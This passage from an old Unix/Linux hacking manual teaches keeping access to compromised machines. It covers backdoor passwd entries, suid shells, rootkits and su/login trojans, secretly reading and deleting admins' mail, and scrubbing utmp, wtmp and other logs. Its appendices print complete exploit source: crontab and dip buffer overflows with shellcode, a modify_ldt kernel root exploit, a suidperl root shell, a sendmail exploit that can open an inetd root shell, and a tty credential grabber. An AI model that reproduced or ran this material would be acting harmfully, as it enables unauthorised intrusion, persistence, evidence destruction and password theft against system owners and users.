  4826. 1024 May 19  1996 public_html
  4827.  
  4828. Remember you can always look for some REAL LONG file path that you are sure
  4829. that no one would ever even want to enter into, and use this for your nested
  4830. directory.  You can even make your own directory there like:(...) ;)
  4831.  
  4832.  
  4833. Making new commands
  4834. --------------------
  4835. After you check the cron to see if there is md5 being used there, you might
  4836. want to either copy one of your exploits to another filename in the system,
  4837. or maybe just overwrite a command that you know would never be used.  If
  4838. you copy to a new file name make sure you touch the file date.  This is not
  4839. so long lasting because sooner or later they will patch the exploit and your
  4840. new file you made will not work anymore.
  4841.  
  4842. It is better to use a shell for the new filename, and then make it suid.
  4843.  
  4844. Adding or changing passwd entry's
  4845. ---------------------------------
  4846. Another backdoor that you can use is to add a new user to the passwd file.
  4847. This needs to be done with caution making it look like it belongs there.
  4848. Never use your passwd addition, never login, it is just for a backup in case
  4849. you loose access.
  4850.  
  4851. There are different thoughts here: you do not have to make it a root account
  4852. that could cause notice to it right away.  You know you can have root any time
  4853. you want it.  Lets practice ...
  4854.  
  4855. We want to make our account look like it belongs, so lets keep to the top of
  4856. the file.
  4857.  
  4858. root:fVi3YqWnkd4rY:0:0:root:/root:/bin/bash
  4859. sysop:mZjb4XjnJT1Ys:582:200:System Operator:/home/sysop:/bin/bash
  4860. bin:*:1:1:bin:/bin:
  4861. daemon:*:2:2:daemon:/sbin:
  4862. adm:*:3:4:adm:/var/adm:
  4863. lp:*:4:7:lp:/var/spool/lpd:
  4864. sync:*:5:0:sync:/sbin:/bin/sync
  4865. shutdown:*:6:0:shutdown:/sbin:/sbin/shutdown
  4866. halt:*:7:0:halt:/sbin:/sbin/halt
  4867. mail:*:8:12:mail:/var/spool/mail:
  4868. news:*:9:13:news:/usr/lib/news:
  4869. uucp:*:10:14:uucp:/var/spool/uucppublic:
  4870. operator:*:11:0:operator:/root:/bin/bash
  4871. games:*:12:100:games:/usr/games:
  4872. man:*:13:15:man:/usr/man:
  4873. postmaster:*:14:12:postmaster:/var/spool/mail:/bin/bash
  4874. nobody:*:65535:100:nobody:/dev/null:
  4875. ftp:*:404:1::/home/ftp:/bin/bash
  4876.  
  4877. Looking at the above passwd file leaves us a few options so i will just list
  4878. them here.
  4879.  
  4880. 1. Look at the user line for operator, ftp, and postmaster.  All of these
  4881. accounts have shells with no passwd's set yet.  From your shell just type:
  4882.  
  4883. passwd postmaster
  4884.  
  4885. Set the account with no passwd by just pressing enter.  Now you will be able
  4886. to log into this account any time without a password and the file will still
  4887. look right to the admin.
  4888.  
  4889. 2. add this line to the passwd file:
  4890.  
  4891. syst::13:12:system:/var/spool:/bin/bash
  4892.  
  4893. Place it in the file where it seems to flow.  You can leave the :: for the
  4894. passwd or set the passwd to what you want by typing: passwd syst from the
  4895. root shell.  Set the group and id above to what you like.
  4896.  
  4897.  
  4898. 3. Look at the line above for sync
  4899.  
  4900. sync:*:5:0:sync:/sbin:/bin/sync
  4901.  
  4902. Change this to :
  4903.  
  4904. sync:*:5:0:sync:/sbin:/bin/bash and then run <passwd sync> and leave the passwd
  4905. blank.  (or set a passwd don't matter) On this account we are even gid=0 <G>rin
  4906.  
  4907. Installing games
  4908. ----------------
  4909.  
  4910. You could always install exploitable doom or abuse into the system if they
  4911. already have games installed.  I will include the root exploits for these
  4912. games below in the appendix.
  4913.  
  4914. Always be watching
  4915. ------------------
  4916.  
  4917. Always know who the admin's are on a system, you can find them by looking at
  4918. the passwd file to see home directories, placement of the uid, group access
  4919. accounts, and ALWAYS read all of the bash_history files in the user directories
  4920. to see who is using admin commands.  You will also learn allot of new commands
  4921. from reading history files, but you want to know who is who on the system.
  4922. Get to know your system well. Look for users using su:  View the log files
  4923. to see who is using admin commands.
  4924.  
  4925. Always be watching the system, keep track of who is on while you are.  Watch
  4926. the admin's history to see what commands they are using, ttysnoops? too many
  4927. ps commands?  finger commands after ps or w or who commands will show they
  4928. are watching what other users on the system are doing.  Watch your admin's
  4929. and get to know how aware they are of users on their system.
  4930.  
  4931. Reading system mail
  4932.  
  4933. Rember first NEVER to use system mail programs!  They will be able to tell you
  4934. are reading their mail.  I use a combo of a few things.  Here you go...
  4935.  
  4936. 1. cd /var/spool/mail
  4937.  
  4938. This will put you into the directory that holds all of the unread mail, or
  4939. waiting mail.  Now you can do things like:
  4940.  
  4941. grep -i security * |more
  4942. grep -i hack * |more
  4943. grep -i intruder * |more
  4944. grep -i passwd * |more
  4945. grep -i password * |more
  4946.  
  4947. Then if needed pico username, and ctrl w to search for your maeesge.  You
  4948. can also delete messages if you see some other admin is telling them that
  4949. your user name is hacking their machine from their domain.
  4950.  
  4951. For a mail reader that will allow toy to read mail without updating pointers
  4952. try:
  4953.  
  4954. http://obsidian.cse.fau.edu/~fc
  4955. has a util on it that can cat /var/spool/mail files without changing the
  4956. last read dates.. ie they have no idea that you have read their mail.
  4957.  
  4958. Also remember you can find other system mail in user's directories.  Make sure
  4959. to look in the /root directory.  Look for /root/mail or username/mail or other
  4960. directories or filders that contain older mail.
  4961.  
  4962. Happy Hunting ...
  4963.  
  4964. --------------------------------
  4965. Section 7B
  4966. Root and Demon kits and trojans
  4967. --------------------------------
  4968.  
  4969. Root kits are C source for ps, login, netstat and sometimes some other
  4970. programs that have been hacked for you.  With these kits you will be
  4971. able to replace the login files on the hacked box so that you can login
  4972. without an account on the machine.
  4973.  
  4974. You will also be able to patch ps so that you will not show up when an
  4975. admin uses the ps command.  With the ps patch you can also have it not show
  4976. processes that have certain file names such as any file that starts with
  4977. 'sniff'.
  4978.  
  4979. Demon kits will have hacked programs for identd, login demon, ping, su,
  4980. telnetd, and, socket.
  4981.  
  4982. Trojans will be any file that you can use that will allow you to exploit
  4983. the system in some way.  An su trojan placed in the admin's directory would
  4984. run the trojan su first after you change the export path for him ;) and report
  4985. back that he typed the wrong passwd and delete the trojan file, but saving
  4986. the password he typed to the /tmp directory.
  4987.  
  4988. A login trojan would save all login passwords to a file on the machine
  4989. for you.  I think you get the idea ;)
  4990.  
  4991. Demon and Linux root kits have been uuencoded and attached to the end of
  4992. appendix VI
  4993.  
  4994. ******************************************
  4995. * Appendix I - Things to do after access *
  4996. ******************************************
  4997.  
  4998.  
  4999. I think in this paper we have covered most of the things  you can do after
  5000. access, so I will make this in the style of a checklist from a to z.
  5001.  
  5002. a. learn who the admin's are on the system
  5003. b. watch the system with ps -auxe and ps -auxef (if it works) and pstree to
  5004.    try and keep track of what others are doing
  5005. c. read all of the bash history files or any history files you can find on the
  5006.    machine to learn more yourself, and to learn about the users
  5007. d. make as many backdoor's into the system as you can that you are sure will
  5008.    not be found out
  5009. e. keep the access to yourself, don't give out users passwords on the machine
  5010.    you get root on.
  5011. f. always clean your utmp and wtmp right away when you login
  5012. g. always clean your mess as you go along, this includes your xferlog and
  5013.    messages
  5014. h. if you have root access make sure to read /etc/syslog.conf and
  5015.    /etc/login.defs to see how the system is logging
  5016. i. before changing binary files look at the root cron to see what they are
  5017.    running.
  5018. j. look for md5 on the system
  5019. k. look for separate ftp logs
  5020. l. make sure to clean the www logs if you ever send phf commands to the server
  5021. m. make an suid root shell and place it somewhere on the system
  5022. n. do only what you are sure of, don't do everything in this hacking manual all
  5023.    at once or you are asking to get cought
  5024. o. only use nested directories, do not put files into user directories where
  5025.    all they need to do is type ls to see them
  5026. p. don't add user accounts and think they will not notice you.
  5027. q. don't use pine or other mail programs to read users mail. if you want to
  5028.    read mail go to the mail dir and read it from unix, new mail you will find
  5029.    in /var/spool/mail read it there.
  5030. r. don't change the system so that other programs they have running will not
  5031.    work any more, they will be on you like fly's on shit
  5032. s. don't delete files on the system unless you put them there
  5033. t. do not modify their web pages, like i was here ... you are not a hacker you
  5034.    are a little kid wanting attention
  5035. u. do not change any passwords on the system (unless you are doing it for
  5036.    access and have backed up the passwd file and replace it right after you
  5037.    login
  5038. v. do not use any root account machines for irc access, or to load a bot on
  5039. w. if your root account changes or you create files that are owned by the
  5040.    wrong group, be sure to chown the files
  5041. x. do not use .rhosts if there is already one there that is being used
  5042. y. never telnet or ftp to your account from the hacked box
  5043. z. don't fuck up their machine! only do what you know how to do.
  5044.  
  5045. ****************************************************
  5046. * Appendix II - Hacking / Security WWW / ftp sites *
  5047. ****************************************************
  5048.  
  5049. IRC QuantumG #virus
  5050. Quantum's Linux Page
  5051. http://obsidian.me.fau.edu/~quantum
  5052. Nice site for a bit of info and unix exploits!
  5053.  
  5054. CyberToast's Files section
  5055. Here you will find a nice selection of hacking, crackers, hex editors, viruses,
  5056. cracks, phreaking, war dialers, scanners, and, misc files.
  5057. www.ilf.net/~toast/files
  5058.  
  5059. Reptiles Realm
  5060. A nice site for many linux exploits
  5061. www.users.interport.net/~reptile/linux
  5062.  
  5063. FTP site loaded with all kinds of IRC, BOTS, UNIX EXPLOITS, VIRUSES and ZINES!
  5064. http://ftp.giga.or.at/pub/hacker
  5065.  
  5066. Linux Security Digest
  5067. Lot's to look at here
  5068. http://king.dom.de/~un/linux-security
  5069.  
  5070. Linux Security Alert
  5071. http://bach.cis.temple.edu/linux/linux-security/Linux-Alerts
  5072.  
  5073. The Linux Security Home Page
  5074. http://www.ecst.csuchico.edu/~jtmurphy
  5075.  
  5076. These are good sites just to get you started, there are many links on these.
  5077. Just make sure to browse in your favorite engine and search for words like:
  5078. hack, linux, unix, crack ect....
  5079.  
  5080. *********************************************************
  5081. * Appendix III - More exploits for root or other access *
  5082. *********************************************************
  5083.  
  5084.  
  5085. ..........................................................................
  5086. .                                                                        .
  5087. . 1. vixie crontab buffer overflow for RedHat Linux                      .
  5088. ..........................................................................
  5089.  
  5090. If crontab is suid it is more then likely exploitable.
  5091.  
  5092.  
  5093. -----------cut here
  5094.  
  5095. /* vixie crontab buffer overflow for RedHat Linux
  5096.  *
  5097.  * I don't think too many people know that redhat uses vixie crontab.
  5098.  * I didn't find this, just exploited it.
  5099.  *
  5100.  *
  5101.  * Dave G. <daveg@escape.com>
  5102.  * 10/13/96
  5103.  *
  5104.  */
  5105.  
  5106. #include <stdio.h>
  5107. #include <sys/types.h>
  5108. #include <stdlib.h>
  5109. #include <fcntl.h>
  5110. #include <unistd.h>
  5111.  
  5112. #define DEFAULT_OFFSET          -1240
  5113. #define BUFFER_SIZE             100     /* MAX_TEMPSTR is 100 */
  5114. #define HAPPY_FILE              "./Window"
  5115.  
  5116. long get_esp(void)
  5117. {
  5118.    __asm__("movl %esp,%eax\n");
  5119. }
  5120.  
  5121. main(int argc, char **argv)
  5122. {
  5123.    int fd;
  5124.    char *buff = NULL;
  5125.    unsigned long *addr_ptr = NULL;
  5126.    char *ptr = NULL;
  5127.   u_char execshell[] = 
  5128.    "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
  5129.    "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
  5130.    "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
  5131.  
  5132.  
  5133.   
  5134. /*
  5135.  * The sscanf line reads for 'name' as %[^ =].  Neither a space, nor
  5136.  * a '=' character appears below
  5137.  */
  5138.  
  5139.    
  5140.    int i;
  5141.    int ofs = DEFAULT_OFFSET;
  5142.  
  5143.    /* if we have a argument, use it as offset, else use default */
  5144.    if(argc == 2)
  5145.       ofs = atoi(argv[1]);   
  5146.    else if (argc > 2) {
  5147.       fprintf(stderr, "egg [offset]\n");
  5148.       exit(-1);
  5149.    }
  5150.    /* print the offset in use */
  5151.    printf("Using offset of esp + %d (%x)\n", ofs, get_esp()+ofs);
  5152.    
  5153.    buff = malloc(4096);
  5154.    if(!buff)
  5155.    {
  5156.       printf("can't allocate memory\n");
  5157.       exit(0);
  5158.    }
  5159.    ptr = buff;
  5160.    /* fill start of buffer with nops */
  5161.    memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
  5162.    ptr += BUFFER_SIZE-strlen(execshell);
  5163.    /* stick asm code into the buffer */
  5164.    for(i=0;i < strlen(execshell);i++) 
  5165.       *(ptr++) = execshell[i];
  5166.    
  5167.    addr_ptr = (long *)ptr;
  5168.    for(i=0;i < (878/4);i++)
  5169.       *(addr_ptr++) = get_esp() + ofs;
  5170.    ptr = (char *)addr_ptr;
  5171.    *ptr++ = '=';
  5172.    *ptr++ = 'X';
  5173.    *ptr++ = '\n';
  5174.    *ptr = 0;
  5175.    printf("Writing to %s\n", HAPPY_FILE);
  5176.  
  5177. /*
  5178.  * The sleep is required because as soon as crontab opens the tmp file it
  5179.  * stat's and saves it.  After the EDITOR program exists it stats again
  5180.  * and if they are equal then it assumes changes weren't made and exits.
  5181.  */
  5182.    fd = open(HAPPY_FILE, O_WRONLY|O_CREAT, 0666);
  5183.    write (fd, buff, strlen(buff));
  5184.  
  5185.    close(fd);
  5186.  
  5187.    execl("/usr/bin/crontab","crontab",HAPPY_FILE,NULL); 
  5188.    /* Successful completion */
  5189.    exit(0);
  5190. }
  5191. ----------- cut here
  5192.  
  5193. ..........................................................................
  5194. .                                                                        .
  5195. .  2. Root dip exploit                                                   .
  5196. .                                                                        .
  5197. ..........................................................................
  5198.  
  5199. in /sbin you will find a symbolic link called dip to a suid root binary.
  5200. Chances are, if this file is suid, it's sploitable.
  5201.  
  5202. -------- cut here
  5203.  
  5204. #include <unistd.h>
  5205. #include <stdio.h>
  5206. #include <stdlib.h>
  5207. #include <fcntl.h>
  5208. #include <sys/stat.h>
  5209. #define PATH_DIP "/sbin/dip"
  5210. u_char shell[] = 
  5211. "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
  5212. "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
  5213. "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/tmp/hs";
  5214. u_long esp() { __asm__("movl %esp, %eax"); }
  5215. main()
  5216. {
  5217.   u_char buf[1024];
  5218.   u_long addr;
  5219.   int i, f;
  5220.  
  5221.   strcpy(buf, "chatkey ");
  5222.   addr = esp() - 192;
  5223.   for (i=8; i<128+16; i+=4)
  5224.     *((u_long *) (buf+i)) = addr;
  5225.   for (i=128+16; i<512; i++)
  5226.     buf[i] = 0x90;
  5227.   for (i=0; i<strlen(shell); i++)
  5228.     buf[512+i] = shell[i];
  5229.   buf[512+i] = '\n';
  5230.  
  5231.   if ((f = open("/tmp/temp.dip", O_WRONLY|O_TRUNC|O_CREAT, 0600)) < 0) {
  5232.     perror("temp.dip");
  5233.     exit(0);
  5234.   }
  5235.   write(f, buf, 512+i);
  5236.   close(f);
  5237.  
  5238.   execl(PATH_DIP, "dip", "/tmp/temp.dip", (char *)0);
  5239. }
  5240.  
  5241. ---------- cut here
  5242.  
  5243. ..........................................................................
  5244. .                                                                        .
  5245. . 3. ldt - text by quantumg                                              .
  5246. .                                                                        .
  5247. ..........................................................................
  5248.  
  5249. this one is a little old but I'm rather proud of it so I thought I'd give
  5250. it a praise.  in writing the linux kernel the guys who wrote a certain
  5251. section fucked up.  they let you stretch and modify the area of memory
  5252. you can access.  at first the sploit required a System.map to be in the
  5253. root dir.  so the simple solution to the bug was to delete all System.map
  5254. files off the system and remove all the uncompressed kernels (cause you
  5255. can generate a System.map by doing an nm on uncompressed kernels), this
  5256. is now rather stupid cause there are patches for all kernel versions with
  5257. the bug and I have written a version of this sploit that doesn't need a
  5258. System.map.
  5259.  
  5260. ---------- cut here
  5261. /* this is a hack of a hack.  a valid System.map was needed to get this
  5262.    sploit to werk.. but not any longer.. This sploit will give you root
  5263.    if the modify_ldt bug werks.. which I beleive it does in any kernel 
  5264.    before 1.3.20 ..
  5265.    
  5266.    QuantumG
  5267. */
  5268.  
  5269. /* original code written by Morten Welinder.
  5270.  *
  5271.  * this required 2 hacks to work on the 1.2.13 kernel that I've tested on:
  5272.  * 1. asm/sigcontext.h does not exist on 1.2.13 and so it is removed.
  5273.  * 2. the _task in the System.map file has no leading underscore.
  5274.  * I am not sure at what point these were changed, if you are
  5275.  * using this on a newer kernel compile with NEWERKERNEL defined.
  5276.  *                                          -ReD
  5277.  */
  5278.  
  5279. #include <linux/ldt.h>
  5280. #include <stdio.h>
  5281. #include <linux/unistd.h>
  5282. #include <signal.h>
  5283. #ifdef NEWERKERNEL
  5284. #include <asm/sigcontext.h>
  5285. #endif
  5286. #define __KERNEL__
  5287. #include <linux/sched.h>
  5288. #include <linux/module.h>
  5289.  
  5290. static inline _syscall1(int,get_kernel_syms,struct kernel_sym *,table);
  5291. static inline _syscall3(int, modify_ldt, int, func, void *, ptr, unsigned long, bytecount)
  5292.  
  5293.  
  5294. #define KERNEL_BASE 0xc0000000
  5295. /* ------------------------------------------------------------------------ */
  5296. static __inline__ unsigned char
  5297. __farpeek (int seg, unsigned ofs)
  5298. {
  5299.   unsigned char res;
  5300.   asm ("mov %w1,%%gs ; gs; movb (%2),%%al"
  5301.        : "=a" (res)
  5302.        : "r" (seg), "r" (ofs));
  5303.   return res;
  5304. }
  5305. /* ------------------------------------------------------------------------ */
  5306. static __inline__ void
  5307. __farpoke (int seg, unsigned ofs, unsigned char b)
  5308. {
  5309.   asm ("mov %w0,%%gs ; gs; movb %b2,(%1)"
  5310.        : /* No results.  */
  5311.        : "r" (seg), "r" (ofs), "r" (b));
  5312. }
  5313. /* ------------------------------------------------------------------------ */
  5314. void
  5315. memgetseg (void *dst, int seg, const void *src, int size)
  5316. {
  5317.   while (size-- > 0)
  5318.     *(char *)dst++ = __farpeek (seg, (unsigned)(src++));
  5319. }
  5320. /* ------------------------------------------------------------------------ */
  5321. void
  5322. memputseg (int seg, void *dst, const void *src, int size)
  5323. {
  5324.   while (size-- > 0)
  5325.     __farpoke (seg, (unsigned)(dst++), *(char *)src++);
  5326. }
  5327. /* ------------------------------------------------------------------------ */
  5328. int
  5329. main ()
  5330. {
  5331.   int stat, i,j,k;
  5332.   struct modify_ldt_ldt_s ldt_entry;
  5333.   FILE *syms;
  5334.   char line[100];
  5335.   struct task_struct **task, *taskptr, thistask;
  5336.   struct kernel_sym blah[4096];
  5337.  
  5338.   printf ("Bogusity checker for modify_ldt system call.\n");
  5339.  
  5340.   printf ("Testing for page-size limit bug...\n");
  5341.   ldt_entry.entry_number = 0;
  5342.   ldt_entry.base_addr = 0xbfffffff;
  5343.   ldt_entry.limit = 0;
  5344.   ldt_entry.seg_32bit = 1;
  5345.   ldt_entry.contents = MODIFY_LDT_CONTENTS_DATA;
  5346.   ldt_entry.read_exec_only = 0;
  5347.   ldt_entry.limit_in_pages = 1;
  5348.   ldt_entry.seg_not_present = 0;
  5349.   stat = modify_ldt (1, &ldt_entry, sizeof (ldt_entry));
  5350.   if (stat)
  5351.     /* Continue after reporting error.  */
  5352.     printf ("This bug has been fixed in your kernel.\n");
  5353.   else
  5354.     {
  5355.       printf ("Shit happens: ");
  5356.       printf ("0xc0000000 - 0xc0000ffe is accessible.\n");
  5357.     }
  5358.  
  5359.   printf ("Testing for expand-down limit bug...\n");
  5360.   ldt_entry.base_addr = 0x00000000;
  5361.   ldt_entry.limit = 1;
  5362.   ldt_entry.contents = MODIFY_LDT_CONTENTS_STACK;
  5363.   ldt_entry.limit_in_pages = 0;
  5364.   stat = modify_ldt (1, &ldt_entry, sizeof (ldt_entry));
  5365.   if (stat)
  5366.     {
  5367.       printf ("This bug has been fixed in your kernel.\n");
  5368.       return 1;
  5369.     }
  5370.   else
  5371.     {
  5372.       printf ("Shit happens: ");
  5373.       printf ("0x00000000 - 0xfffffffd is accessible.\n");
  5374.     }
  5375.  
  5376.   i = get_kernel_syms(blah);
  5377.   k = i+10;
  5378.   for (j=0; j<i; j++) 
  5379.    if (!strcmp(blah[j].name,"current") || !strcmp(blah[j].name,"_current")) k = j;
  5380.   if (k==i+10) { printf("current not found!!!\n"); return(1); }
  5381.   j=k;
  5382.  
  5383.   taskptr = (struct task_struct *) (KERNEL_BASE + blah[j].value);
  5384.   memgetseg (&taskptr, 7, taskptr, sizeof (taskptr));  
  5385.   taskptr = (struct task_struct *) (KERNEL_BASE + (unsigned long) taskptr);
  5386.   memgetseg (&thistask, 7, taskptr, sizeof (thistask));  
  5387.   if (thistask.pid!=getpid()) { printf("current process not found\n"); return(1); }
  5388.   printf("Current process is %i\n",thistask.pid);
  5389.   taskptr = (struct task_struct *) (KERNEL_BASE + (unsigned long) thistask.p_pptr);
  5390.   memgetseg (&thistask, 7, taskptr, sizeof (thistask));  
  5391.   if (thistask.pid!=getppid()) { printf("current process not found\n"); return(1); }
  5392.   printf("Parent process is %i\n",thistask.pid);
  5393.   thistask.uid = thistask.euid = thistask.suid = thistask.fsuid = 0;
  5394.   thistask.gid = thistask.egid = thistask.sgid = thistask.fsgid = 0;
  5395.   memputseg (7, taskptr, &thistask, sizeof (thistask));
  5396.   printf ("Shit happens: parent process is now root process.\n");
  5397.   return 0;
  5398. };
  5399.  
  5400. ----------- cut here
  5401.  
  5402. ..........................................................................
  5403. .                                                                        .
  5404. . 4. suid perl  - text by quantumg                                       .
  5405. ..........................................................................
  5406.  
  5407. In the /usr/bin dir (usually) you will find a suid root binary called
  5408. suidperl.  If this file is suid root it is most probably sploitable.
  5409.  
  5410. You need to set this file suid
  5411. (chmod 4700 will do it) and execute it to get root.
  5412.  
  5413. ---------- cut here
  5414.  
  5415. #!/usr/bin/suidperl
  5416. $> = 0;                                     #set effective user id
  5417. $ENV{'PATH'} = '/bin:/usr/bin';             #secure the session
  5418. $ENV{'IFS'} = '' if $ENV{'IFS'} ne '';
  5419. $execpath = "/bin/sh";                      #sameol sameol
  5420. $execpath =~ /(.*)/;                        #untaint the variable
  5421. $boom = $1;                                 #$boom untainted
  5422. system $boom;                               #run EUID=0 shell
  5423.  
  5424. ----------------cut here
  5425.  
  5426. ..........................................................................
  5427. .                                                                        .
  5428. . 5. Abuse Sendmail 8.6.9                                                .
  5429. .                                                                        .
  5430. ..........................................................................
  5431.  
  5432. -----------cut here
  5433. /* smh.c - atreus - Michael R. Widner (2/27/95)
  5434.  * <widner@uchicago.edu> <atreus@primus.com>
  5435.  * a quick hack to abuse sendmail 8.6.9 or whatever else is subject to this
  5436.  * hole.  It's really just a matter of passing newlines in arguments to
  5437.  * sendmail and getting the stuff into the queue files.  If we run this
  5438.  * locally with -odq we are guaranteed that it will be queue, rather than
  5439.  * processed immediately.
  5440.  * usage: smh [ username [/path/to/sendmail]]
  5441.  * It's worth noting that this is generally only good for getting bin.
  5442.  * sendmail still wants to process the sendmail.cf file, which contains
  5443.  * Ou1 and Og1 most of the time, limiting you to bin access.  Is there
  5444.  * a way around this?
  5445.  * cc -o smh smh.c should do the trick.  This just creates a bin owned
  5446.  * mode 6777 copy of /bin/sh in /tmp called /tmp/newsh.  Note that on some
  5447.  * systems this is pretty much worthless, but you're smart enough to know
  5448.  * which systems those are.  Aren't you?
  5449. bash$ ./smh root /usr/lib/sendmail
  5450. bash$ /usr/lib/sendmail -q
  5451. */
  5452. #include <sys/types.h>
  5453. #include <unistd.h>   
  5454. #include <stdlib.h>   
  5455.  
  5456. /* Take Your Pick */
  5457. #define EVIL_COMMAND1 "ascii\nCroot\nMprog, P=/bin/sh, F=lsDFMeu, A=sh -c $u\nMlocal, P=/bin/sh, F=lsDFMeu, A=sh -c $u\nR<\"|/bin/cp /bin/sh /tmp/newsh\">\nR<\"|/bin/chmod 6777 /tmp/newsh\">\n$rascii "
  5458. #define EVIL_COMMAND2 "ascii\nCroot\nMprog, P=/bin/sh, F=lsDFMeu, A=sh -c $u\nMlocal, P=/bin/sh, F=lsDFMeu, A=sh -c $u\nR<\"|/bin/echo ingreslock stream tcp nowait root /bin/sh /bin/sh  >/tmp/.inetd.conf\">\nR<\"|/usr/sbin/inetd /tmp/.inetd.conf\">\n$rasc
  5459. ii "
  5460.  
  5461. main(argc, argv)
  5462. int argc;
  5463. char **argv;
  5464. {                          
  5465.       execlp(argv[2] ? argv[2] : "sendmail","sendmail","-odq","-p", EVIL_COMMAND1,
  5466.       argv[1] ? argv[1] : "atreus",0);
  5467. }
  5468.  
  5469. ----------- cut here
  5470. ..........................................................................
  5471. .                                                                        .
  5472. . 6. ttysurf - grab someone's tty                                         .
  5473. ..........................................................................
  5474.  
  5475. ------------cut here
  5476. #include <stdio.h>
  5477. #include <signal.h>
  5478. #include <fcntl.h>
  5479. #include <errno.h>
  5480. #include <sys/types.h>
  5481. #include <sys/termios.h>
  5482.  
  5483. #define DEBUG 1         /* Enable additional debugging info (needed!) */
  5484. #define USLEEP          /* Define this if your UNIX supports usleep() */
  5485.  
  5486. #ifdef ULTRIX
  5487. #define TCGETS TCGETP   /* Get termios structure */
  5488. #define TCSETS TCSANOW  /* Set termios structure */
  5489. #endif
  5490.  
  5491.  
  5492. handler(signal)
  5493.            int signal;             /* signalnumber */
  5494. {                       /* do nothing, ignore the signal */
  5495.         if(DEBUG) printf("Ignoring signal %d\n",signal);
  5496. }
  5497.  
  5498. int readandpush(f,string)
  5499. FILE *f;
  5500. char *string;
  5501. {
  5502.         char *cp,*result;
  5503.         int e;
  5504.         struct termios termios;
  5505.  
  5506.         result=fgets(string,20,f);    /* Read a line into string */
  5507.         if (result==NULL)
  5508.         {       perror("fgets()");
  5509.                 return(1);
  5510.         }
  5511.         if (DEBUG)
  5512.         {       printf("String: %s\n",string);
  5513.                 fflush(stdout);
  5514.         }
  5515.  
  5516.         ioctl(0,TCGETS,&termios);       /* These 3 lines turn off input echo */
  5517.  /*        echo = (termios.c_lflag & ECHO);      */
  5518.         termios.c_lflag=((termios.c_lflag | ECHO) - ECHO);
  5519.         ioctl(0,TCSETS,&termios);
  5520.  
  5521.         for (cp=string;*cp;cp++)        /* Push it back as input */
  5522.         {       e=ioctl(0,TIOCSTI,cp);
  5523.                 if(e<0)
  5524.                 {       perror("ioctl()");
  5525.                         return(1);
  5526.                 }
  5527.         }
  5528.         return(0);
  5529. }
  5530.  
  5531. main(argc,argv)
  5532. int argc;
  5533. char *argv[];
  5534. {
  5535.         /* variables */
  5536.         int err;
  5537.         FILE *f;
  5538.         char *term      = "12345678901234567890";
  5539.         char *login     = "12345678901234567890";
  5540.         char *password  = "12345678901234567890";
  5541.         if (argc < 2)
  5542.         {       printf("Usage: %s /dev/ttyp?\nDon't forget to redirect the output to a file !\n",argv[0]);
  5543.                 printf("Enter ttyname: ");
  5544.                 gets(term);
  5545.         }
  5546.         else term=argv[argc-1];
  5547.  
  5548.         signal(SIGQUIT,handler);
  5549.         signal(SIGINT,handler);
  5550.         signal(SIGTERM,handler);
  5551.         signal(SIGHUP,handler);
  5552.         signal(SIGTTOU,handler);
  5553.  
  5554.         close(0);               /* close stdin */
  5555. #ifdef ULTRIX
  5556.         if(setpgrp(0,100)==-1)
  5557.                 perror("setpgrp:");     /* Hopefully this works */
  5558. #else
  5559.         if(setsid()==-1)
  5560.                 perror("setsid:"); /* Disconnect from our controlling TTY and
  5561.                                    start a new session as sessionleader */
  5562. #endif
  5563.         f=fopen(term,"r");      /* Open tty as a stream, this guarantees
  5564.                                            getting file descriptor 0 */
  5565.         if (f==NULL)
  5566.         {       printf("Error opening %s with fopen()\n",term);
  5567.                 exit(2);
  5568.         }
  5569.         if (DEBUG) system("ps -xu>>/dev/null &");
  5570.         fclose(f);              /* Close the TTY again */
  5571.         f=fopen("/dev/tty","r");        /* We can now use /dev/tty instead */
  5572.         if (f==NULL)
  5573.         {       printf("Error opening /dev/tty with fopen()\n",term);
  5574.                 exit(2);
  5575.         }
  5576.  
  5577.         if(readandpush(f,login)==0)
  5578.         {
  5579. #ifdef USLEEP
  5580.                 usleep(20000);  /* This gives login(1) a chance to read the
  5581.                                    string, or the second call would read the
  5582.                                    input that the first call pushed back ! /*
  5583. #else
  5584.                 for(i=0;i<1000;i++)
  5585.                         err=err+(i*i)
  5586.                            /* error        /* Alternatives not yet implemented */
  5587. #endif
  5588.                 readandpush(f,password);
  5589.                 printf("Result: First: %s Second: %s\n",login,password);
  5590.         }
  5591.  
  5592.         fflush(stdout);
  5593.         sleep(30);      /* Waste some time, to prevent that we send a SIGHUP
  5594.                            to login(1), which would kill the user. Instead,
  5595.                            wait a while. We then send SIGHUP to the shell of
  5596.                            the user, which will ignore it. */
  5597.         fclose(f);
  5598. }
  5599. --------------cut here
  5600.  
  5601. ..........................................................................
  5602. .                                                                        .
  5603. . 7. shadow.c  - Get shadow passwd files                                 .
  5604. .                                                                        .
  5605. ..........................................................................
  5606.  
  5607. ----------- cut here
  5608.  
  5609.  /*  This source will/should print out SHADOWPW passwd files.   */
  5610.  
  5611.  struct  SHADOWPW {                 /* see getpwent(3) */
  5612.       char *pw_name;
  5613.       char *pw_passwd;
  5614.       int  pw_uid;
  5615.       int  pw_gid;
  5616.       int  pw_quota;
  5617.       char *pw_comment;
  5618.       char *pw_gecos;
  5619.       char *pw_dir;
  5620.       char *pw_shell;
  5621.  };
  5622.  struct passwd *getpwent(), *getpwuid(), *getpwnam();
  5623.  
  5624.  #ifdef   elxsis?
  5625.  
  5626.  /* Name of the shadow password file. Contains password and aging info */
  5627.  
  5628.  #define  SHADOWPW "/etc/shadowpw"
  5629.  #define  SHADOWPW_PAG "/etc/shadowpw.pag"
  5630.  #define  SHADOWPW_DIR "/etc/shadowpw.dir"
  5631.  /*
  5632.   *  Shadow password file pwd->pw_gecos field contains:
  5633.   *
  5634.   *  <type>,<period>,<last_time>,<old_time>,<old_password>
  5635.   *
  5636.   *  <type>     = Type of password criteria to enforce (type int).
  5637.   *        BSD_CRIT (0), normal BSD.
  5638.   *        STR_CRIT (1), strong passwords.
  5639.   *  <period>  = Password aging period (type long).
  5640.   *        0, no aging.
  5641.   *        else, number of seconds in aging period.
